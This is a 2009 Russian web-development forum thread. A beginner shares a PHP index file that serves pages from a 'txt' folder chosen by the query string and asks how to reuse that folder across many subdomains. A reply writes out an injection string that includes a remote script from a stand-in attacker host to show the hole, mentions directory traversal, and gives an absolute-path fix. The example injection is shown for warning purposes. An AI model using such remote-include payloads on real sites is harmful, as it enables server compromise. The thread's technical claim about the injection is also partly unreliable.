Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум SEO > Вопросы от новичков > Много сайтов с разным дизайном


Автор: belvision 5.04.2009 - 00:04
Здравствуйте! Есть задача сделать много сайтов с доменом третьего уровня с разным дизайном но с одинаковым контентом, Есть сайт domen.ru так же если нужно изменить контент на domen.ru нужно чтобы он изменился сразу на всех остальных сайтах 3 уровня

sait1.domen.ru
sait2.domen.ru
sait3.domen.ru
.............
sait101.domen.ru
Сайт domen.ru построен по схеме разделения дизайна и контента то есть в файл index.php вставлен такой код
<?
if (empty($_SERVER['QUERY_STRING']))
{ $name="index"; }
else
{ $name=basename($_SERVER['QUERY_STRING']); }
$file="txt/".$name.".htm";
if (is_readable($file))
{ readfile($file); }
else
{ echo "<br>Запрошенный вами файл не найден<br>";}
?>
То есть например странице index.php ссылка на страницу новости имеет вид domen.ru/index.php?news или на страницу контакты такая domen.ru/index.php?kontakt
Сами страницы все сложнены в папке txt которая находится в том же каталоге что и сам файл index.php
Поскольку нужно открыть много сайтов с разным дизайном но с таким же контентом как domen.ru
то хотелось бы знать как указать в коде индексного файла для этих сайтов третьего уровня путь к папке txt которая находится фактически на другом домене. Это нужно поскольку не хочется эту папку копировать много раз занимая место на сервере и помещать в тот же каталог где находятся страницы индексных файлов доменов 3 уровня.

Автор: FatCat 5.04.2009 - 07:53
Ваш вопрос потом.
Дыру в безопасности зачем оставили?
Цитата (belvision @ 5.04.2009 - 03:04)
$file="txt/".$name.".htm";

А если я вместо имени файла подставлю в запросе такую строку?
Код
;include("http://my_hacking_site.ru/hack.php");$file=

В результате на Вашем сайте отработает код:
PHP
$file="txt/";
include(
"http://my_hacking_site.ru/hack.php");
$file=".html";

Автор: FatCat 5.04.2009 - 07:54
Цитата (belvision @ 5.04.2009 - 03:04)
как указать в коде индексного файла для этих сайтов третьего уровня путь к папке txt

Пишите абсолютный путь от папки /home/

Автор: belvision 5.04.2009 - 13:19
Спасибо за подсказку помогите устранить эту дыру безопасности как должен выглядеть код?

Автор: belvision 5.04.2009 - 13:38
И как именно писать абсолютный путь от папки home
ведь папка с файлами поддомена находится в том же каталоге что и папка с файлами домена
например
htdocs.sait1.domen.ru папка поддомена в которой находится индексный файл
htdocs папка с файлами самого домена в которой находится папка txt и индексный файл

Автор: belvision 10.04.2009 - 14:12
Кстате если внешние инклуды запрещены на сервере эта дыра не сработает

Автор: FatCat 10.04.2009 - 15:28
Цитата (belvision @ 5.04.2009 - 16:38)
И как именно писать абсолютный путь от папки home

PHP
define(TXT_PATH,"/home/user_dir/public_html/txt/"); 
// бла-бла...
$file=TXT_PATH.$name.".html";
if (
is_readable($file)) 
{
    
readfile($file); 
}


Или топориком на коленке:
PHP
$file="/home/user_dir/public_html/txt/".$name.".html";
if (
is_readable($file)) 
{
    
readfile($file); 
}



Цитата
Кстате если внешние инклуды запрещены на сервере эта дыра не сработает

Да, заинклюдить не получится.
Но можно будет пошарить по директориям выше директории сайта. wink.gif

Автор: belvision 11.04.2009 - 18:33
Спасибо большое за подробный код пути к папке теперь всё работает

Русский Модифицированный IPB v1.3 Final © 2003 BesTFileZ.Net & IBR Team
Лицензия зарегистрирована на: you.site